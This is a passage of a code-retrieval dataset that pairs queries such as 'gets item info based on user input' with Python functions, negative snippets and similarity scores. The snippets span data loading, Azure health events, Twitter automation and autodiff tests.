query stringlengths 9 9.05k | document stringlengths 10 222k | metadata dict | negatives listlengths 30 30 | negative_scores listlengths 30 30 | document_score stringlengths 4 10 | document_rank stringclasses 2
values |
|---|---|---|---|---|---|---|
gets item info based on user input | def item_info():
item_code = get_input("Enter item code: ")
if item_code in FULL_INVENTORY:
print_dict = FULL_INVENTORY[item_code]
output = ""
for key, value in print_dict.items():
output += ("{}:{}{}".format(key, value, "\n"))
else:
output = "Item not found in in... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def iteminfo():\n itemcode = input(\"Enter item code: \")\n if itemcode in FULLINVENTORY:\n printdict = FULLINVENTORY[itemcode]\n for key, value in printdict.items():\n print(\"{}:{}\".format(key, value))\n else:\n print(\"Item not found in inventory\")",
"def item(self, ... | [
"0.7300795",
"0.67402464",
"0.6617127",
"0.65622824",
"0.62993705",
"0.6286386",
"0.6192564",
"0.6170643",
"0.61119014",
"0.61083364",
"0.61015826",
"0.6098515",
"0.6002422",
"0.60008955",
"0.5988962",
"0.5985847",
"0.59783155",
"0.5960772",
"0.5948382",
"0.59276307",
"0.5914... | 0.7121636 | 1 |
Reads the labeled data described in tsv file. The returned object contains three fields that represent the unlabeled data. | def read_tsv(data_loc, fname):
tf = codecs.open(data_loc + fname, 'r', encoding='utf-8')
data = []
labels = []
fnames = []
for line in tf:
(ifname, label) = line.strip().split("\t")
content = read_instance(data_loc, ifname)
labels.append(label)
fnames.append(ifname)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_from_tsv(tsv_file):\n # Load data from files\n all_examples = list(open(tsv_file, \"r\", encoding='utf-8').readlines())\n split_lines = [l.split('\\t') for l in all_examples]\n x_text = [clean_str(s[0].strip()) for s in split_lines]\n label_integers = [int(s[1].strip()) for s in split_lines... | [
"0.6495935",
"0.5876787",
"0.586421",
"0.5856266",
"0.5749008",
"0.57244563",
"0.57199895",
"0.57068723",
"0.56794715",
"0.56793076",
"0.56583524",
"0.5629123",
"0.5584531",
"0.55555147",
"0.5524185",
"0.5507425",
"0.5448873",
"0.54281646",
"0.542447",
"0.541013",
"0.540003",... | 0.6444849 | 1 |
Reads the unlabeled data. The returned object contains two fields that represent the unlabeled data. | def read_unlabeled(data_loc, dname):
data = []
fnames = []
raw_fnames = os.listdir(data_loc + dname)
for raw_fname in raw_fnames:
fname = dname + '/' + raw_fname
content = read_instance(data_loc, fname)
data.append(content)
fnames.append(fname)
return data, fnames | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _load_unlabeled(self, path):\n signal, info = wfdb.rdsamp(path)\n self.fs = 250\n self.lead_match = ['anonymous1', 'anonymous2']\n self.raw_data = np.transpose(np.array([signal]), (2, 0, 1))\n self.symbol = []\n self.coords = []\n self.label_name = None\n ... | [
"0.62985724",
"0.60218835",
"0.5822445",
"0.57796115",
"0.5738949",
"0.5676225",
"0.56441987",
"0.56067234",
"0.55868876",
"0.5516113",
"0.5516113",
"0.54691124",
"0.54412436",
"0.54277503",
"0.54168564",
"0.5415407",
"0.5414791",
"0.54146427",
"0.5388492",
"0.5371088",
"0.53... | 0.6559793 | 0 |
Writes the predictions in Kaggle format. Given the classifier, output filename, and the speech object, this function write the predictions of the classifier on the test data and writes it to the outputfilename. | def write_pred_kaggle_file(cls, outfname, speech):
yp = cls.predict(speech.test_doc_vec)
labels = speech.le.inverse_transform(yp)
f = codecs.open(outfname, 'w')
f.write("FileIndex,Category\n")
for i in range(len(speech.test_fnames)):
fname = speech.test_fnames[i]
f.write(fname + ',' ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save_predictions(self,file_path):\n # compute average of predictions\n num_examples = len(self.labels)\n\n if num_examples == 0:\n raise Exception (\"nothing to save\")\n\n def string_to_average(string):\n return np.average(np.array(string.split(\",\"),dtype=fl... | [
"0.7049729",
"0.6968634",
"0.68207085",
"0.6750549",
"0.6720341",
"0.6711167",
"0.6669633",
"0.6594437",
"0.6516126",
"0.6487627",
"0.64480585",
"0.6412054",
"0.6412046",
"0.6412046",
"0.6334649",
"0.63231057",
"0.63150644",
"0.6295352",
"0.6271988",
"0.623328",
"0.6209309",
... | 0.8186171 | 0 |
Build Google Analytics service for the auth profile | def get_service(self, auth_profile):
app_root = self.config['app_root_dir']
client_secrets_path = os.path.join(app_root, auth_profile['client_secrets_path'])
token_path = os.path.join(app_root, auth_profile['token_path'])
auth = GoogleAuth(self.auth_flags, client_secrets_path, token_path... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_Analytics_service():\n #reference: https://developers.google.com/analytics/devguides/reporting/core/v4/\n credentials = get_credentials()\n \n http = httplib2.Http()\n http = credentials.authorize(http)\n service = apiclient.discovery.build('analytics', 'v4', http=http)\n print \"Got A... | [
"0.72963715",
"0.71768534",
"0.7008515",
"0.6679525",
"0.66671413",
"0.6565561",
"0.6542577",
"0.6542577",
"0.65328103",
"0.65221035",
"0.64870876",
"0.64740664",
"0.63877106",
"0.6376841",
"0.6366579",
"0.62008286",
"0.6167424",
"0.61051875",
"0.6090958",
"0.5974501",
"0.587... | 0.79859585 | 0 |
Return list of services for all auth profiles | def get_services(self):
services = []
for p in self.config['auth_profiles']:
services.append(self.get_service(p))
return services | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_services(profile=None, api_key=None):\n return salt.utils.pagerduty.list_items(\n \"services\", \"name\", __salt__[\"config.option\"](profile), api_key, opts=__opts__\n )",
"def list_services(ctx):\n pass",
"def get_services(self): \n if self._access_token is None:\n ... | [
"0.73958594",
"0.6973076",
"0.67835885",
"0.6751856",
"0.6588541",
"0.655133",
"0.6544352",
"0.65439755",
"0.6432942",
"0.6429285",
"0.6399615",
"0.63925225",
"0.63810605",
"0.6370326",
"0.6329185",
"0.628808",
"0.62779367",
"0.62436295",
"0.6207708",
"0.61990726",
"0.619445"... | 0.86264575 | 0 |
Remove any columns specified. The default columns for any query are the id of the token and the label of the type. | def clear_columns(self):
self._columns = []
return self | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _delete_null_columns(self):\r\n ds = DeleteStatement(self.column_family_name)\r\n deleted_fields = False\r\n for _, v in self.instance._values.items():\r\n col = v.column\r\n if v.deleted:\r\n ds.add_field(col.db_field_name)\r\n deleted_f... | [
"0.6175713",
"0.6078552",
"0.6025119",
"0.60184366",
"0.60068727",
"0.59229934",
"0.5912904",
"0.5882896",
"0.58668727",
"0.58612",
"0.5853696",
"0.5852278",
"0.5851712",
"0.5823952",
"0.5740287",
"0.5717554",
"0.57098347",
"0.5708513",
"0.56833816",
"0.56809497",
"0.563553",... | 0.65311384 | 0 |
Same as ``all``, but the results of the query are output to the specified path as a CSV file. | def to_csv(self, path):
results = self.all()
if self.stop_check is not None and self.stop_check():
return
results.to_csv(path) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_csv(self, path):\n for table in ['datasets', 'dataruns', 'hyperpartitions', 'classifiers']:\n df = pd.read_sql('SELECT * FROM %s' % table, self.session.bind)\n df.to_csv(os.path.join(path, '%s.csv' % table), index=False)",
"def log_results(self, path):\n pd.DataFrame(se... | [
"0.72415906",
"0.714864",
"0.68289703",
"0.63184816",
"0.63152087",
"0.6263419",
"0.6259996",
"0.60712045",
"0.60492957",
"0.6011469",
"0.59969336",
"0.58934367",
"0.5839492",
"0.5837897",
"0.58354586",
"0.5821142",
"0.580053",
"0.578438",
"0.5771946",
"0.5771284",
"0.5721378... | 0.7828584 | 0 |
Generates a Cypher statement based on the query. | def cypher(self):
kwargs = {'match': '',
'optional_match': '',
'where': '',
'with': '',
'return': ''}
# generate initial match strings
match_strings = set()
withs = set()
nodes = self.required_nodes()
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _build_statement(self, query, query_key, beets_key):\n statement = \"\"\n if query_key in query:\n for query_string in query[query_key]:\n if '\"' in query_string:\n statement += \" and %s = \\'%s\\' \" % (beets_key,\n ... | [
"0.62883943",
"0.62373525",
"0.6127089",
"0.6076715",
"0.6021788",
"0.5899546",
"0.5822399",
"0.57811886",
"0.5771908",
"0.5636946",
"0.55983907",
"0.5518773",
"0.5502564",
"0.54580635",
"0.53780705",
"0.5359265",
"0.53343433",
"0.5326838",
"0.5302847",
"0.5282023",
"0.526805... | 0.6857161 | 0 |
test the episode name of each of the cases | def testGetEpisodeName(self):
for case in self.testCases:
assert case['title'] == getEpisodeName( case['show'], case['season'], case['episode']) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_get_episode_overview(self):\n self.assertEquals(\n self.t['Battlestar Galactica (2003)'][1][6]['overview'].startswith(\n 'When a new copy of Doral, a Cylon who had been previously'),\n True\n )",
"def test_title(names):",
"def test_different_case(self... | [
"0.64243835",
"0.6258172",
"0.6202211",
"0.59608656",
"0.59162605",
"0.5914089",
"0.580214",
"0.5769495",
"0.57401305",
"0.5728818",
"0.56901574",
"0.5687813",
"0.56416893",
"0.5636315",
"0.5620725",
"0.5576326",
"0.5573055",
"0.55627346",
"0.5557772",
"0.5534065",
"0.5523661... | 0.8190277 | 0 |
Collect links for videos related to self.keyword | def video_link_collector(self, count):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_individual_video_link(self):\r\n self.filter_url_portion = '' # ignore the filter option.\r\n\r\n target_search_results_obj = []\r\n # in case we want to search more pages just change this and make a loop\r\n self.page_url_portion = '&page=1'\r\n\r\n # start with forming... | [
"0.7419088",
"0.6758847",
"0.6309692",
"0.6072542",
"0.6046429",
"0.6040589",
"0.60183644",
"0.60161775",
"0.5893839",
"0.58668417",
"0.58567715",
"0.58200836",
"0.5790145",
"0.57832175",
"0.5780403",
"0.5768532",
"0.5761548",
"0.57241505",
"0.5710994",
"0.570829",
"0.5701255... | 0.6862361 | 1 |
Abstract method implementation to parse AIOps specific properties stored in the key vault config. | def parseProperties(self) -> bool:
# vNetIds is not a mandatory property. This property can be used if the resources are distributed across multiple vNets.
self.vNetIds = self.providerProperties.get("vNetIds", None)
# enabledProviders contains the provider types for which AIOps is enabled. Man... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_config(self):\n # TODO: parse config file\n pass",
"def _parse_config(self, profile: Optional[str]):\n\n # read the values\n def assign_key(key: str):\n if self._config_parser.has_option(section, key):\n if key.lower() == _USE_COLOR.lower():\n ... | [
"0.5799087",
"0.54309773",
"0.5396221",
"0.5391791",
"0.52264905",
"0.51209015",
"0.51099086",
"0.50692695",
"0.5065538",
"0.5049415",
"0.5032216",
"0.50267226",
"0.5001072",
"0.4963002",
"0.49445188",
"0.49378237",
"0.49344987",
"0.49096617",
"0.48961362",
"0.48803616",
"0.4... | 0.63379407 | 0 |
Implementation of abstract method. Validate the collector VM permissions to trigger RH API. | def validate(self) -> bool:
# Call RH for the collector VM. If the call is successful, the collector VM has been assigned the right roles.
collectorVM = AzureInstanceMetadataService.getComputeInstance(
self.tracer, self.name)
collectorVMArmId = ARM_ID_TEMPLATE % (
collect... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"async def permission_valid_check(cls):\n pass",
"def check_vulnerability(self):\n\t\tpass",
"def __require_permission_view(self):\n permission = codechecker_api_shared.ttypes.Permission.PERMISSION_VIEW\n if not self.__has_permission(permission):\n raise codechecker_api_shared.tt... | [
"0.6178343",
"0.59988725",
"0.5770928",
"0.57393557",
"0.56788474",
"0.56340134",
"0.5534252",
"0.55060536",
"0.55051845",
"0.5490519",
"0.54623586",
"0.54542404",
"0.5446576",
"0.5435001",
"0.54199827",
"0.5419372",
"0.54152685",
"0.54123425",
"0.541165",
"0.54085827",
"0.53... | 0.74354815 | 0 |
Abstract method implementation to generate the json string for the results to push to LA. | def generateJsonString(self) -> str:
try:
if self.lastResult is not None and len(self.lastResult) != 0:
for result in self.lastResult:
result['SAPMON_VERSION'] = PAYLOAD_VERSION
result['PROVIDER_INSTANCE'] = self.providerInstance.name
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def format_json(self,query_results):\n results=query_results.data\n factory=factory_json()\n dump=factory.dumps(results)\n print(dump)\n # TODO return output for this\n return \"\"",
"def get_json_string(self, **kwargs):\n ...",
"def json(self):\n robot_d... | [
"0.7380562",
"0.6979047",
"0.6829505",
"0.6711398",
"0.6708633",
"0.6640155",
"0.64915836",
"0.64715326",
"0.6465525",
"0.6458256",
"0.642514",
"0.6387305",
"0.6366938",
"0.6351204",
"0.6293009",
"0.6289616",
"0.6279474",
"0.6252944",
"0.62293446",
"0.62089664",
"0.61992306",... | 0.73502034 | 1 |
Compile the Azure resources from global state and get RH events for those resources. | def _actionGetRHEvents(self):
self.lastResult = []
self.pollingState = self.state.get(POLLING_STATE, {})
# Get resources for which AIOps is enabled.
resources = self.__compileAIOpsEnabledResources()
self.tracer.info("[%s] There are %s resources compiled for fetching RH events an... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __getRHEventsAndUpdateResult(self, resource: Dict[str, str]) -> None:\n # Validate the state data.\n self.__validateResourceStateEntry(resource)\n\n self.tracer.info(\"[%s] Fetching the RH events for resource = %s\" % (\n self.fullName, resource[AZ_RESOURCE_ID]))\n\n # Ex... | [
"0.58181536",
"0.57214403",
"0.5425466",
"0.53549063",
"0.53549063",
"0.53549063",
"0.53435004",
"0.53435004",
"0.53435004",
"0.5334005",
"0.5319617",
"0.5272405",
"0.52459764",
"0.5224623",
"0.52026635",
"0.5195314",
"0.5141163",
"0.5123107",
"0.51167065",
"0.5113912",
"0.50... | 0.6537761 | 0 |
Map the global Azure resource config mapping to a flat structure. | def __mapAzResourceConfigObject(self, azResourceConfigObj: Dict) -> List[Dict[str, str]]:
resources = []
for armType in azResourceConfigObj:
armResources = azResourceConfigObj[armType]
# Flatten the structure by compiling all the resources corresponding to each ARM type.
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def resource_map(self):",
"def resource_mapping():\n return {\n 'OS::Heat::ResourceChain': ResourceChain,\n }",
"def resource_map():\n resource_map = deepcopy(BASE_RESOURCE_MAP)\n\n if CompareOpenStackReleases(os_release('keystone')) < 'liberty':\n resource_map.pop(POLICY_JSON)\n i... | [
"0.65116477",
"0.6337193",
"0.59461796",
"0.5896368",
"0.58180165",
"0.56846714",
"0.5651048",
"0.5638168",
"0.55788946",
"0.5516219",
"0.55128187",
"0.5509055",
"0.53902495",
"0.53838235",
"0.5382216",
"0.53783756",
"0.537411",
"0.53525007",
"0.53490853",
"0.53422743",
"0.53... | 0.68334466 | 0 |
Remoce the duplicate dictionaries from a list. | def __removeDuplicateDictsFromList(self, listOfDicts: List[Dict[str, str]]) -> List[Dict[str, str]]:
return list({frozenset(item.items()): item for item in listOfDicts}.values()) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remove_duplicates(input_list):\n return list(dict.fromkeys(input_list))",
"def remove_duplicate_dicts(data: List[dict]) -> List[dict]:\n return [dict(y) for y in set(tuple(x.items()) for x in data)]",
"def removeDups(lst):\n\n return list(dict.fromkeys(lst) )",
"def _remove_duplicates(input_list... | [
"0.7726228",
"0.7527608",
"0.743368",
"0.7322726",
"0.67764497",
"0.6705668",
"0.660935",
"0.65197814",
"0.6485394",
"0.6389307",
"0.62858564",
"0.62466526",
"0.6226824",
"0.6189385",
"0.6180072",
"0.6164874",
"0.616072",
"0.6154857",
"0.6145726",
"0.6128122",
"0.6096065",
... | 0.7735982 | 0 |
Fetch health events using RH API and update the lastResult variable. | def __getRHEventsAndUpdateResult(self, resource: Dict[str, str]) -> None:
# Validate the state data.
self.__validateResourceStateEntry(resource)
self.tracer.info("[%s] Fetching the RH events for resource = %s" % (
self.fullName, resource[AZ_RESOURCE_ID]))
# Extract the poll... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _actionGetRHEvents(self):\n self.lastResult = []\n self.pollingState = self.state.get(POLLING_STATE, {})\n\n # Get resources for which AIOps is enabled.\n resources = self.__compileAIOpsEnabledResources()\n self.tracer.info(\"[%s] There are %s resources compiled for fetching ... | [
"0.74835974",
"0.60943276",
"0.607677",
"0.60051495",
"0.5991445",
"0.5785507",
"0.56111306",
"0.5549164",
"0.55123454",
"0.5506759",
"0.5465697",
"0.5452234",
"0.5400395",
"0.53932124",
"0.53769994",
"0.53689444",
"0.53555197",
"0.5351841",
"0.5351213",
"0.53326714",
"0.5322... | 0.7312966 | 1 |
Parse occuredTime string based on its format. | def __parseOccuredTime(self, occuredTime: str) -> datetime:
# Guard clause.
if not occuredTime:
raise ValueError(
'occuredTime cannot be null or empty.')
# There are two possible time formats observed for occuredTime, which are stored in OCCURED_TIME_FORMAT.
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _parse_time_str(self, time_str):\n time_fmt = \"%I:%M%p\"\n time_str = re.sub(\n r\":+\",\n \":\",\n re.sub(r\"\\s+\", \"\", re.sub(r\"to|from|\\.\", \"\", time_str.lower())).replace(\n \"o\", \"0\"\n ),\n )\n if \":\" not i... | [
"0.6994127",
"0.6513669",
"0.6467536",
"0.6286688",
"0.6278909",
"0.6250281",
"0.62317115",
"0.62049",
"0.61825174",
"0.6160859",
"0.614465",
"0.6121751",
"0.6065498",
"0.603659",
"0.5991278",
"0.59244233",
"0.5907265",
"0.5903873",
"0.5901057",
"0.5886875",
"0.5869222",
"0... | 0.7575806 | 0 |
Validate the sanity of the Azure resource details obtained from the global state. | def __validateResourceStateEntry(self, resource: Dict[str, str]):
if AZ_RESOURCE_ID not in resource:
raise ValueError(
'[%s] %s is not present in the armMapping.' % (
self.fullName, AZ_RESOURCE_ID))
if SID not in resource:
raise ValueError(
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _validate_stack(self, _stack):\n\n if len(_stack) == 0 or \"resources\" not in _stack.keys():\n self.status = \"na: no resource in stack\"\n self.logger.warning(\"non-applicable to valet: no resource in stack\")\n return {}\n\n stack = {}\n\n for rk, r in _... | [
"0.5771019",
"0.5764822",
"0.5651339",
"0.5575817",
"0.5543914",
"0.55022097",
"0.5467342",
"0.5466281",
"0.54335773",
"0.5416878",
"0.5407321",
"0.53656614",
"0.53434116",
"0.53363395",
"0.5335866",
"0.5316301",
"0.53111744",
"0.5309585",
"0.5295233",
"0.52703154",
"0.526230... | 0.660925 | 0 |
Convert the Json array structure of recommendedActions into an HTML list. | def __formatToHtml(self, recommendedActions: List[Dict[str, str]]) -> str:
recommendedSteps = []
for action in recommendedActions:
actionText = action[ACTION]
# Replace the <action> and </action> tags as the action url can't be replaced since they are not absolute urls.
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_actions() -> None:\n colorama_init()\n max_action_name_len = max(len(name) for name in KNOWN_ACTIONS.keys())\n wrapper = textwrap.TextWrapper(\n width=80 - max_action_name_len - 3,\n subsequent_indent=' ' * (max_action_name_len + 3),\n )\n print(\n '{bright}{name:<{max_... | [
"0.523548",
"0.5062648",
"0.5057534",
"0.50366926",
"0.48965392",
"0.48873514",
"0.48711312",
"0.48421466",
"0.4839564",
"0.48027083",
"0.47810283",
"0.47803128",
"0.47630978",
"0.4751867",
"0.47392517",
"0.47254217",
"0.46918416",
"0.46840894",
"0.46765396",
"0.4671996",
"0.... | 0.7828043 | 0 |
Wrap each string element in tag and join the elements. | def __convertToHtmlListElement(self, listOfStringValues: List[str]) -> str:
return ''.join(f"<li>{element}</li>" for element in listOfStringValues) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_tags(tag, word):\n tag1 = \"<{}>\".format(tag)\n tag2 = \"</{}>\".format(tag)\n final = tag1 + word + tag2\n return final",
"def create_string(element_list):\n \n outstring = '<html><body>'\n \n for element in element_list:\n outstring += html.tostring(element)\n outstri... | [
"0.5969318",
"0.5911578",
"0.58806515",
"0.5838043",
"0.5793163",
"0.5753264",
"0.5704033",
"0.5701071",
"0.56826556",
"0.55926114",
"0.5556637",
"0.55514723",
"0.5513206",
"0.5507362",
"0.54939824",
"0.5471039",
"0.54170644",
"0.5402638",
"0.5396076",
"0.53810865",
"0.535553... | 0.6051207 | 0 |
Check if the health event contains RCA or not. | def __isNotRcaEvent(self, event: Dict) -> bool:
if HEALTH_EVENT_TYPE in event[PROPERTIES] and event[PROPERTIES][HEALTH_EVENT_TYPE].upper() == RCA:
return False
if RECOMMENDED_ACTIONS_CONTENT in event[PROPERTIES]:
return False
return True | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_rpt_status(self) -> bool:\n return self.allele == self.fasta_alt",
"def cca(self):\n return self._current_rx_count == 0",
"def verifyActionCenterRts():\n pass",
"def is_rova_area(self):\n url = 'https://www.rova.nl/api/waste-calendar/upcoming'\n\n # request data from ... | [
"0.5812587",
"0.5784343",
"0.56178385",
"0.5605711",
"0.5595467",
"0.5586229",
"0.5520362",
"0.5406098",
"0.5375033",
"0.5367486",
"0.5329484",
"0.5310734",
"0.53074825",
"0.53060085",
"0.5291778",
"0.52247566",
"0.5207978",
"0.5182046",
"0.5182002",
"0.5172207",
"0.5151738",... | 0.73898304 | 0 |
Like last tweets by hash tag | def like_tweet(self, tag):
self.bot.get('https://twitter.com/search?q=' + tag + '&src=typed')
self.__wait(3, 3)
for i in range(1, 3):
self.bot.execute_script('window.scrollTo(0,document.body.scrollHeight)')
self.__wait(2, 3)
tweets = self.bot.find_elements_by_tag_... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def analyze_hashtag(self, hashtag, count=200):\n tweets = []\n\n for x in xrange(0, int(count / 100)):\n tweets.extend(self.tweet_fetcher.get_tweets(hashtag))\n\n analyzed_tweets = sort_tweets(self.sa.classify(tweets))\n\n self.analyzed_tweets = analyzed_tweets\n\n ret... | [
"0.6311522",
"0.6274851",
"0.6230637",
"0.6107197",
"0.6083219",
"0.60664827",
"0.60491127",
"0.59684294",
"0.59415287",
"0.5937693",
"0.5920222",
"0.5903852",
"0.58821666",
"0.5870542",
"0.5857933",
"0.58483285",
"0.5847059",
"0.5841191",
"0.5840299",
"0.5798845",
"0.5758832... | 0.670553 | 0 |
Creates a developer test user with Facebook | def create_test_user(self):
response = urllib2.urlopen('https://graph.facebook.com/%s/accounts/test-users?installed=true&name=test_acc&locale=en_US&permissions=publish_stream&method=post&access_token=%s' % (self.consumer_key, self.token)) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_39_facebook_oauth_creation(self):\r\n fake_response = {\r\n u'access_token': u'access_token',\r\n u'token_type': u'Bearer',\r\n u'expires_in': 3600,\r\n u'id_token': u'token'}\r\n\r\n fake_user = {\r\n u'username': u'teleyinex',\r\n ... | [
"0.77105623",
"0.7697404",
"0.7588671",
"0.7400935",
"0.72141296",
"0.7197762",
"0.71746993",
"0.7155389",
"0.71482134",
"0.7129204",
"0.7109574",
"0.7109574",
"0.7109574",
"0.7106927",
"0.7098064",
"0.7098064",
"0.7098064",
"0.708655",
"0.7084253",
"0.70820147",
"0.707454",
... | 0.7917467 | 0 |
Retrieve all students with the cohort name | def all_cohorts(self):
with sqlite3.connect(self.db_path) as conn:
conn.row_factory = lambda cursor, row: Cohort(row [1])
db_cursor = conn.cursor()
db_cursor.execute("""
select c.id,
c.name
from cohorts c
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def all_cohorts(self):\n\n with sqlite3.connect(self.db_path) as conn:\n conn.row_factory = lambda cursor, row: Cohort(\n row[1]\n )\n db_cursor = conn.cursor()\n\n db_cursor.execute(\"\"\"\n select cohort.Id,\n Name\n ... | [
"0.71378833",
"0.67550665",
"0.64338416",
"0.63730395",
"0.6308023",
"0.62971675",
"0.6139126",
"0.60914844",
"0.6068271",
"0.59822506",
"0.5776066",
"0.5736336",
"0.57326674",
"0.5610465",
"0.5608977",
"0.5501538",
"0.54608333",
"0.54211247",
"0.54135907",
"0.54071593",
"0.5... | 0.706303 | 1 |
Boolean condition asserts that value and derivative of cosine of the AutoDiff instance are equal to the expected value and derivative as calculated in the function for the case in which x is a real number. RETURNS ======== If the boolean condition returns True nothing is returned. If it is computed to be false, then an... | def test_cos_con():
c=14
assert {'diff':EF.cos(c).der, 'value': EF.cos(c).val}=={'diff':0, 'value': math.cos(c)} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_arccos():\n c=0.5\n def myfunc(x):\n f1=EF.arccos(x)\n return f1\n\n f_obj=ADiff(myfunc)\n res=f_obj.Jac(c)\n expectAns={'diff':-1/math.sqrt(1-c**2), 'value':math.acos(c)}\n assert res==expectAns",
"def checkFloat(comment, value, expected, tol=1e-10, update=True):\n if n... | [
"0.619214",
"0.61027396",
"0.60238",
"0.60212696",
"0.58170915",
"0.57943696",
"0.5740132",
"0.57104975",
"0.5706199",
"0.56809705",
"0.56070656",
"0.5600859",
"0.554108",
"0.5490728",
"0.545431",
"0.54504",
"0.5438208",
"0.5426342",
"0.54098964",
"0.54043466",
"0.5397096",
... | 0.6238311 | 0 |
Boolean condition asserts that value and derivative of the cotangent of the AutoDiff instance are equal to the expected value and derivative as calculated in the function. RETURNS ======== If the boolean condition returns True nothing is returned. If it is computed to be false, then an AssertionError is raised. | def test_cot():
c=0.5
def myfunc(x):
f1=EF.cot(x)
return f1
f_obj=ADiff(myfunc)
res=f_obj.Jac(c)
expectAns={'diff':2/(math.cos(c*2)-1), 'value':math.cos(c)/math.sin(c)}
assert res==expectAns | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def eq(a, b):\n return abs(a - b) < .05",
"def test_diferencia_porcentual_igual(self):\r\n valorNuevo = 10\r\n valorAnterior = 10\r\n self.assertEqual(diferenciaPorcentual(valorNuevo, valorAnterior), 0)",
"def test_potential_differences(self):\n t, x_n, x_p = self.t, ... | [
"0.58552843",
"0.5829446",
"0.5812231",
"0.5791843",
"0.57855046",
"0.57324314",
"0.5686355",
"0.56789756",
"0.5673521",
"0.5671666",
"0.56386083",
"0.56118995",
"0.56100917",
"0.5604398",
"0.55884665",
"0.5584099",
"0.5578517",
"0.5570114",
"0.5569593",
"0.5566972",
"0.55650... | 0.5946147 | 0 |
Boolean condition asserts that value and derivative of the inverse of cosine of the AutoDiff instance are equal to the expected value and derivative as calculated in the function. RETURNS ======== If the boolean condition returns True nothing is returned. If it is computed to be false, then an AssertionError is raised. | def test_arccos():
c=0.5
def myfunc(x):
f1=EF.arccos(x)
return f1
f_obj=ADiff(myfunc)
res=f_obj.Jac(c)
expectAns={'diff':-1/math.sqrt(1-c**2), 'value':math.acos(c)}
assert res==expectAns | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_eq():\n x, y = fwd.Variable(), fwd.Variable()\n f = fwd.sin(x) + fwd.cos(y)\n g = fwd.sin(x) + fwd.cos(y)\n h = fwd.sin(y) + fwd.cos(x)\n assert f == g\n assert f != h",
"def test_cos_con():\n c=14\n assert {'diff':EF.cos(c).der, 'value': EF.cos(c).val}=={'diff':0, 'value': math.... | [
"0.62694824",
"0.6028754",
"0.5948653",
"0.5861675",
"0.58350295",
"0.5788916",
"0.57730377",
"0.5752578",
"0.5752459",
"0.57305455",
"0.5655151",
"0.56550866",
"0.56306046",
"0.5619683",
"0.5585245",
"0.55714893",
"0.5554394",
"0.554997",
"0.554327",
"0.5509602",
"0.54968166... | 0.6100563 | 1 |
Returns the euclidean distance between two User vertices. | def euclidean_distance(user1: User, user2: User) -> float:
common_animes = set.intersection(set(user1.neighbor_anime.keys()),
set(user2.neighbor_anime.keys()))
return sqrt(sum(pow(anime.neighbor_users[user1] - anime.neighbor_users[user2], 2)
for anime... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def EuclideanDistance( self, a, b ):\n return sqrt( self.EuclideanDistanceSq(a,b) )",
"def euclidean_distance(self,):\n return sqrt(pow((self.pose1.x - self.pose2.x), 2) +\n pow((self.pose1.y - self.pose2.y), 2))",
"def __dist(u, v):\n return spatial.distance.euclidean(u, v)... | [
"0.6963895",
"0.69466466",
"0.68903524",
"0.6880266",
"0.686357",
"0.6833224",
"0.6806497",
"0.6797395",
"0.6784993",
"0.6771039",
"0.6765979",
"0.67626446",
"0.67287564",
"0.671541",
"0.6711146",
"0.67072904",
"0.66899544",
"0.667745",
"0.6650605",
"0.6641603",
"0.6625499",
... | 0.7759146 | 0 |
Return the manhattan distance between two User vertices | def manhattan_distance(user1: User, user2: User) -> float:
common_animes = set.intersection(set(user1.neighbor_anime.keys()),
